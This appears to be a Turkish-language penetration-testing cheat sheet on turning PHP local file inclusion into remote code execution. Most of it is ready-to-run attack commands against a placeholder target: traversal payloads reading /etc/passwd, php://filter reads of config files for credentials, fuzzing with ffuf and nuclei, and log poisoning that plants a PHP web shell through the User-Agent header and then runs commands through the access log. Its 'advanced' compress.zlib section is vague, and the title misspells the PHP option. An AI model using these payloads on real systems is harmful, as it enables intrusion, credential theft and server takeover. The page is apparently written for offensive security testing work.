LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
web lfi
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure dosya okuma/include yüzeyinden config sızıntısı ve LFI→RCE zincirlerine odaklanır. Wrapper, tmp ve log zehirleme yolları birlikte ele alınır.
Metodoloji
Section titled “Metodoloji”-
Traversal ve wrapper (php://filter) ile dosya oku.
-
Log/session/tmp zehirleme yüzeyi bul.
-
LFI→RCE zincirini (filter/phar/tmp) dene.
-
Config/credential sızıntısını paketle.
Traversal tespiti
Section titled “Traversal tespiti”....//....//....//etc/passwd..%2f..%2f..%2fetc/passwd/etc/passwd%00ffuf -u 'https://TARGET/page?file=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr 'root:'curl -sk 'https://TARGET/page?file=../../../../etc/passwd'php://filter okuma
Section titled “php://filter okuma”php://filter/convert.base64-encode/resource=index.phpphp://filter/read=string.rot13/resource=config.phpcurl -sk 'https://TARGET/page?file=php://filter/convert.base64-encode/resource=../config.php' | base64 -dGelişmiş LFI2RCE
Section titled “Gelişmiş LFI2RCE”compress.zlib:// + path disclosureeternal waiting / segfault ile bellek sızıntısı → adres sızıntısıcurl -sk 'https://TARGET/page?file=compress.zlib://....'Log / session poisoning
Section titled “Log / session poisoning”curl -sk 'https://TARGET/' -A '<?php system($_GET[c]);?>'curl -sk 'https://TARGET/page?file=/var/log/nginx/access.log&c=id'/proc/self/environ, /var/log/auth.log, sess_* hedefleriOperasyon notları
Section titled “Operasyon notları”LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html